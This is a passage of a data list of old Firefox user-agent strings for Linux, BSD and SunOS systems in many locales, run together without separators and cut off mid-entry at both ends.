Gentoo Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121806 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121911 CentOS/3.0.5-1.el5.centos Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122010 Firefox/2.0.0.3 (Debian-3.0.5-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122014 CentOS/3.0.5-1.el4.centos Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122120 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122406 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-1.4 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020407 Firefox/3.0.4 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020519 Ubuntu/9.04 (jaunty) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2010012717 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 GTB5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030810 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva/1.9.0.7-0.1mdv2009.0 (2009.0) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031802 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032319 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032606 Red Hat/3.0.7-1.el5 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1.1 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032713 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032908 Gentoo Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009040312 Gentoo Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Linux Mint/7 (Gloria) Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Firefox/3.5.2 Slackware Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Slackware Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090914 Slackware/13.0_stable Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091114 Gentoo Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.6) Gecko/20100117 Gentoo Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100318 Gentoo Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20091227 Ubuntu/9.10 (karmic) Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090312 Firefox/3.1b3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 Fedora/3.1-0.11.beta3.fc11 Firefox/3.1b3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64 Firefox/3.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1) Gecko/20090630 Firefox/3.5 GTB6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Gentoo Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Red Hat/3.6-3.el4 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101219 Gentoo Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101223 Gentoo Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.20) Gecko/20110804 Red Hat/3.6-2.el5 Firefox/3.6.20 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100524 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.4) Gecko/20100614 Ubuntu/10.04 (lucid) Firefox/3.6.4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100723 Fedora/3.6.7-1.fc13 Firefox/3.6.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100723 SUSE/3.6.8-0.1.1 Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090405 Firefox/3.6a1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090428 Firefox/3.6a1pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100130 Gentoo Firefox/3.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100305 Gentoo Firefox/3.5.7 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a1) Gecko/20060112 Firefox/1.6a1 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008011321 Firefox/3.0b3pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008020509 Firefox/3.0b3pre Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008031318 Firefox/3.0b4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008040813 Firefox/3.0b4 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008040514 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008041816 Fedora/3.0-0.55.beta5.fc9 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008061317 (Gentoo) Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062315 (Gentoo) Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062908 Firefox/3.0 (Debian-3.0~rc2-2) Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.4) Gecko/2008110510 Red Hat/3.0.4-1.el5_2 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061015 Ubuntu/8.04 (hardy) Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061017 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; es-CL; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009072711 CentOS/3.0.12-1.el5.centos Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.4 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc11 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101026 SUSE/3.6.12-0.7.1 Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; es-MX; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.14) Gecko/2009090217 Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.16) Gecko/20080715 Fedora/2.0.0.16-1.fc8 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8) Gecko/20051231 Firefox/1.5 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.19) Gecko/2010051407 CentOS/3.0.19-1.el5.centos Firefox/3.0.19 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-1.1 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.3pre Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 GTB7.0 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.3) Gecko/20100403 Fedora/3.6.3-4.fc13 Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9) Gecko/2008061017 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64) Gecko/2008072820 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; hu; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092813 Gentoo Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-2.fc12 Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.20) Gecko/20110805 Ubuntu/10.04 (lucid) Firefox/3.6.20 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.24) Gecko/20111101 SUSE/3.6.24-0.2.1 Firefox/3.6.24 Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9) Gecko/2008061017 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; ja-JP; rv:1.9.2.16) Gecko/20110323 Ubuntu/10.10 (maverick) Firefox/3.6.16 Mozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.1.4) Gecko/20091016 SUSE/3.5.4-1.1.2 Firefox/3.5.4 Mozilla/5.0 (X11; U; Linux x86_64; ko-KR; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.2 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; nl-NL; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8.1.2pre) Gecko/20061023 SUSE/2.0.0.1-0.1 Firefox/2.0.0.2pre Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8) Gecko/20051128 SUSE/1.5-0.1 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu (hardy) Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu/hardy Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.5) Gecko/2008121623 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9) Gecko/2008060309 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:2.0) Gecko/20110307 Firefox/4.0 Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.8.1.4) Gecko/20070611 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.8.1.7) Gecko/20071009 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.9.1.2) Gecko/20090911 Slackware Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9b5) Gecko/2008041515 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 (.NET CLR 3.5.30729) Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.11) Gecko/20101028 CentOS/3.6-2.el5.centos Firefox/3.6.11 Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux x86_64; zh-TW; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 GTB5 Mozilla/5.0 (X11; U; Linux x86; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/8.04 (hardy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Mac OSX; it; rv:1.9.0.7) Gecko/2009030422 Firefox/3.0.7 Mozilla/5.0 (X11; U; NetBSD alpha; en-US; rv:1.8.1.6) Gecko/20080115 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; NetBSD amd64; fr-FR; rv:1.8.0.7) Gecko/20061102 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.5) Gecko/20060818 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8) Gecko/20060104 Firefox/1.5 Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.9.2.12) Gecko/20101030 Firefox/3.6.12 Mozilla/5.0 (X11; U; NetBSD sparc64; fr-FR; rv:1.8.1.6) Gecko/20070822 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.8.0.9) Gecko/20070101 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.8.1.6) Gecko/20070817 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD amd64; en-US; rv:1.9.0.1) Gecko/2008081402 Firefox/3.0.1 Mozilla/5.0 (X11; U; OpenBSD i386; de-DE; rv:1.8.1.6) Gecko/20080429 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.7.10) Gecko/20050919 (No IDN) Firefox/1.0.6 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.1) Gecko/20060213 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.4) Gecko/20060628 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.5) Gecko/20060819 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.7) Gecko/20060920 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.7) Gecko/20061017 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.0.8) Gecko/20061110 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.16) Gecko/20080812 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.3) Gecko/20070505 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20070704 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20070704 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.4) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.6) Gecko/20070819 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.8.1.7) Gecko/20070930 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.2.8) Gecko/20101230 Firefox/3.6.8 Mozilla/5.0 (X11; U; OpenBSD sparc64; en-AU; rv:1.8.1.6) Gecko/20071225 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD sparc64; en-CA; rv:1.8.0.2) Gecko/20060429 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; OpenBSD sparc64; en-US; rv:1.8.1.6) Gecko/20070816 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; OpenBSD sparc64; pl-PL; rv:1.8.0.2) Gecko/20060429 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; Slackware Linux i686; en-US; rv:1.9.0.10) Gecko/2009042315 Firefox/3.0.10 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7.12) Gecko/20051121 Firefox/1.0.7 (Nexenta package 1.0.7) Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.7.5) Gecko/20041109 Firefox/1.0 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.0.5) Gecko/20060728 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.3) Gecko/20070423 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.4) Gecko/20070622 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 Mozilla/5.0 (X11; U; SunOS i86pc; en-US; 